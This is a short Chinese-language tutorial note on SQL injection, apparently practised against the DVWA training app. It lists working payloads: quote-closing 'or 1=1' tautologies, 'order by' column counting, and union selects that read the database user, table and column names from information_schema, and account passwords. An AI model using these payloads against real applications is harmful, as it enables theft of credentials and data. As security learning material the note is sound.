1. 程式人生 > 資料庫 >sql注入遇到的一些問題

sql注入遇到的一些問題

一、字元型注入的思想是閉合引號:
select 1,2 from tables where id=‘ID’
ID: ’ or 1=1’’ or 1=1#’ or 1=1–
步驟:
1、先判斷當前表的欄位數
’ order by 1(2,3,4,5…) #,直到出現錯誤,說明只有幾個欄位
2、知道了欄位數之後,測試哪幾個欄位可以回顯,比如有3個欄位,那麼
’ union select 1,2,3 #
比如1和3能顯示,說明第一列和第三列的欄位可以回顯
3、利用資料庫的函式顯示需要的資訊

 1. ' union select user(),2,database()#  回顯當前使用者資訊和資料庫資訊
 2. ' union select table_name,2,3 from information_schema.tables where table_schema='資料庫名' #回顯當前資料庫中的所有表名
 3. ' union select column_name,2,3 from information_schema.columns where table_name=表名' # 回顯當前表中的欄位名
 4. ‘ union select user,password from users # 回顯賬號、密碼

二、數字型注入直接order by操作
select 1,2 from tables where id=ID order by 3
執行優先順序:
1、from
2、where
3、select
4、order by (雖然沒有select 3,但是依然可以按照3來排序)
1 union select table_name,2 from information_schema.tables where table_schema=database(); 這裡是函式database(),DVWA中級別會遮蔽 ’ ,最好直接用函式